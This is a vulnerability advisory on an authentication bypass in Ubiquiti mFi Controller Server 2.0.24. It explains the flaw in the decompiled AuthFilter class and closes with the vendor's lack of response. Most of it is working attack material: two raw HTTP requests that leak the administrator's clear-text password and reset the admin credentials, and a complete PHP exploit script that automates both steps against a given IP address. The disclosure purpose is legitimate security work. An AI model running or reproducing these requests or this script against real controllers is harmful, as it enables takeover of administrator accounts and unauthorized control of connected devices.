(Update: We are republishing this after removing it – as requested by the vendor – but as the vendor has not responded nor provided any progress in the last 30 days, we are making the information public again)
Introduction
mFi hardware and software combines plug-and-play installation with big-data analytics, event reporting and scheduling to create powerful relationships between sensors, machines and power control.
Vulnerability Details
Ubiquiti Networks mFi Controller Server installs a web management interface which listens on default public port 6443 (tcp/https). It offers a login screen where only the administrator user can monitor and control remotely the configured devices .
Because of two errors inside the underlying com.ubnt.ace.view.AuthFilter class, it is possible to bypass the authentication mechanism and have access ex. to the “ApiServlet” servlet.
Example requests:
1)
POST /%61pi/v1.0/list/admin/login?fmt=json HTTP/1.0 X-Requested-With: XMLHttpRequest Host: [host] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: [data_length] Connection: Close json=%7B%7D
This will give you the clear text username and password of the application in JSON format. An ‘_id’ field is also retrieved, this will be useful in the following request.
2)
POST /%61pi/v1.0/upd/admin/[id_field]/login HTTP/1.0 X-Requested-With: XMLHttpRequest Host: [host] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: [data_length] Connection: Close json=%7B%22name%22%3A%22[USER]%22%2C%22x_password%22%3A%22[PASS]%22%7D
This will reset the administrative credentials. Both username and password are changed now to values of choice.
The trick is encoding the ‘a’ of ‘api’ and appending ‘/login’ to the request uri.
Given this, a remote attacker could then login and perform unauthorized operations as administrator through the secure web interface.
Vulnerable code
See C:\Users\Administrator\Ubiquiti mFi\webapps\ROOT\WEB-INF\web.xml:
...
<!-- API Servlets -->
<servlet>
<servlet-name>ApiServlet</servlet-name>
<servlet-class>com.ubnt.ace.api.ApiServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ApiServlet</servlet-name>
<url-pattern>/api/*</url-pattern>
</servlet-mapping>
...
...
<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.ubnt.ace.view.AuthFilter</filter-class> <---
<!--
<init-param>
<param-name>skip</param-name>
<param-value>false</param-value>
</init-param>
-->
</filter>
<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/manage/*</url-pattern>
<url-pattern>/wizard/*</url-pattern>
<url-pattern>/api/*</url-pattern> <---
<url-pattern>/op/*</url-pattern>
<url-pattern>/dl/backup/*</url-pattern>
<url-pattern>/dl/support/*</url-pattern>
<url-pattern>/upload/backup/*</url-pattern>
<url-pattern>/login/*</url-pattern>
<url-pattern>/logout/*</url-pattern>
<url-pattern>/login-api/*</url-pattern>
<url-pattern>/mobile/*</url-pattern>
</filter-mapping>
...
now look the decompiled com.ubnt.ace.view.AuthFilter class:
...
package com.ubnt.ace.view;
import com.ubnt.ace.api.A;
import com.ubnt.ace.api.ApiServlet;
import com.ubnt.data.Admin;
import com.ubnt.data.X;
import com.ubnt.service.ServiceLocator;
import com.ubnt.service.system.DbService;
import com.ubnt.service.system.SystemService;
import java.io.IOException;
import java.net.URL;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.log4j.Logger;
public class AuthFilter
implements Filter
{
public AuthFilter()
{
D200000 = null;
}
public void init(FilterConfig filterconfig)
throws ServletException
{
D200000 = filterconfig;
}
public void destroy()
{
D200000 = null;
}
public void doFilter(ServletRequest servletrequest, ServletResponse servletresponse, FilterChain filterchain)
throws IOException, ServletException
{
HttpServletRequest httpservletrequest = (HttpServletRequest)servletrequest;
HttpServletResponse httpservletresponse = (HttpServletResponse)servletresponse;
HttpSession httpsession = httpservletrequest.getSession();
if(D200000.getInitParameter("skip") != null)
{
filterchain.doFilter(servletrequest, servletresponse);
return;
}
String s = httpservletrequest.getRequestURI();
SystemService systemservice = ServiceLocator.F600000();
boolean flag = servletrequest.getLocalPort() == systemservice.getHttpPort() || servletrequest.getLocalPort() == systemservice.getHttpsPort();
if(!flag)
{
httpservletresponse.sendError(400);
return;
}
Admin admin = (Admin)httpsession.getAttribute("admin");
boolean flag1 = systemservice.isFactoryDefault();
if(httpsession.getAttribute("javax.servlet.jsp.jstl.fmt.locale.session") == null)
httpsession.setAttribute("javax.servlet.jsp.jstl.fmt.locale.session", "en_US");
if(s.startsWith("/api/")) <--- [*]
{
if(!flag1 && admin == null)
{
A a = new A();
a.o00000("rc", "err");
a.o00000("msg", "api.err.LoginRequired");
try
{
String s3 = servletrequest.getParameter("fmt");
httpservletresponse.setStatus(403);
if("xml".equals(s3))
{
httpservletresponse.setHeader("Content-Type", "text/xml");
a.o00000(httpservletresponse.getWriter(), 1, "none");
} else
{
a.o00000(httpservletresponse.getWriter());
}
}
catch(IOException ioexception) { }
} else
{
try
{
String s1 = (new URL(httpservletrequest.getHeader("referer"))).getHost();
String s4 = (String)httpsession.getAttribute("controller_host");
if(s1 != null && s4 != null && !s1.equals(s4))
{
A a1 = new A();
a1.o00000("api.err.LoginRequired");
httpservletresponse.setHeader("Content-Type", "application/json");
ApiServlet.responseJson((HttpServletResponse)servletresponse, a1);
return;
}
}
catch(Exception exception) { }
filterchain.doFilter(servletrequest, servletresponse);
}
} else
if(flag1 && !s.startsWith("/wizard"))
httpservletresponse.sendRedirect("/wizard");
else
if(!flag1 && s.startsWith("/wizard"))
httpservletresponse.sendRedirect("/manage");
else
if(s.startsWith("/logout"))
{
httpsession.removeAttribute("admin");
httpservletresponse.sendRedirect("/manage");
} else
if(s.startsWith("/mobile/logout"))
{
httpsession.removeAttribute("admin");
httpservletresponse.sendRedirect("/mobile/login");
} else
if(s.endsWith("/login")) <--- [**]
filterchain.doFilter(servletrequest, servletresponse); <--- boom
else
if(s.startsWith("/login"))
{
filterchain.doFilter(servletrequest, servletresponse);
} else
{
String s2 = "";
if(s.startsWith("/mobile"))
s2 = "/mobile";
if(!flag1 && admin == null)
{
httpsession.setAttribute("redirect_url", s);
httpservletresponse.sendRedirect((new StringBuilder()).append(s2).append("/login").toString());
} else
{
filterchain.doFilter(servletrequest, servletresponse);
}
}
}
public static Admin authenticate(String s, String s1)
{
X x = new X();
x.put("name", s);
x.put("x_password", s1);
return (Admin)ServiceLocator.D2O0000().o00000(com/ubnt/data/Admin, x);
}
private static final Logger o00000 = Logger.getLogger(com/ubnt/ace/view/AuthFilter);
private FilterConfig D200000;
}
...
You cannot do string comparisons like this (see [*]), you can always urlencode the request uri!, this is the first bypass.
Same error at [**], we can append “/login” to the request uri, this is the second bypass.
Exploit Code
<?php
/*
Ubiquiti Networks mFi Controller Server 2.0.24 AuthFilter Class Auth Bypass / Reset Administrative
Credentials Exploit
Usage:
C:\php>php ubiquiti.php 192.168.0.1 1
[*] Attacking...
[*] Username -> admin
[*] Password -> djkejfjkdert12
C:\php>php ubiquiti.php 192.168.0.1 2
[*] Attacking...
[*] Username -> admin
[*] Password -> djkejfjkdert12
[*] Resetting credentials ...
[*] Done. Now browse https://192.168.0.1:6443 and login as Administrator
with credentials user:mypass1234
C:\php>
user
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
function syntax() {
print("usage: php ".$argv[0]." [ip_address] [action]\r\n");
die();
}
$argv[1] ? print("[*] Attacking...\n") :
syntax();
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}
function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Cookie: ".$ck ,
"Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With: XMLHttpRequest",
"Accept: */*",
"Referer: https://127.0.0.1:6443/manage#Devices"
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 6443;
$action = (int)$argv[2];
if (($action<>1) and ($action<>2)) {die("[!] Unknown action.");}
if (($action == 1) or ($action == 2)) {
$data="json=%7B%7D";
$url = "https://$host:$port/%61pi/v1.0/list/admin/login?fmt=json";
$out = _s($url, 1, "",$data);
if (!strpos($out,"x_password")){
print($out."\n");
die("[!] Unknown error.");
}
$tmp=explode("\"name\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$user = $tmp[0];
echo "[*] Username -> ".$user."\n";
$tmp=explode("\"x_password\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$pwd = $tmp[0];
echo "[*] Password -> ".$pwd."\n";
$tmp=explode("\"_id\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$id = $tmp[0];
//echo "[*] id -> ".$id."\n";
if ($action ==2) {
echo "[*] Resetting credentials ...\n";
$user="user";
$pass="pass";
$data="json=%7B%22name%22%3A%22".$user."%22%2C%22x_password%22%3A%22".$pass."%22%7D";
$url = "https://$host:$port/%61pi/v1.0/upd/admin/".$id."/login";
$out = _s($url, 1, "",$data);
//print($out."\n\n");
if (strpos($out,"\"x_password\" : \"".$pass)){
echo "[*] Done. Now browse https://".$host.":".$port." and login as Administrator\n with credentials ".$user.":".$pass;
} else {
echo "[!] Unknown error.";
}
}
}
?>
Vendor Response
(Please note we are not blaming hackerone with anything)
The vendor has informed us via email that we should post advisories/vulnerabilities through the hackerone portal:
Thank you for contacting us regarding the Ubiquiti Security Team.
We have moved all of our Security Rewards program submission to our HackerOne portal:
https://hackerone.com/ubnt
If you have any submissions, please submit them there.
For any other inquiries, we will respond to you as soon as possible.
All the best,
Ubiquiti Networks Security Team
I initially thought this meant a prompt handling, however after posting it to the portal on the 13th of July 2015 and it still being on the 2nd of September 2015 in New (Open), I believe this isn’t working.
Follow up emails to security[@]ubnt.com went unanswered (while before they sent me the above response), so I believe they are ignoring the emails and “standing” behind their stance that we should use hackerone (not working) method of reporting.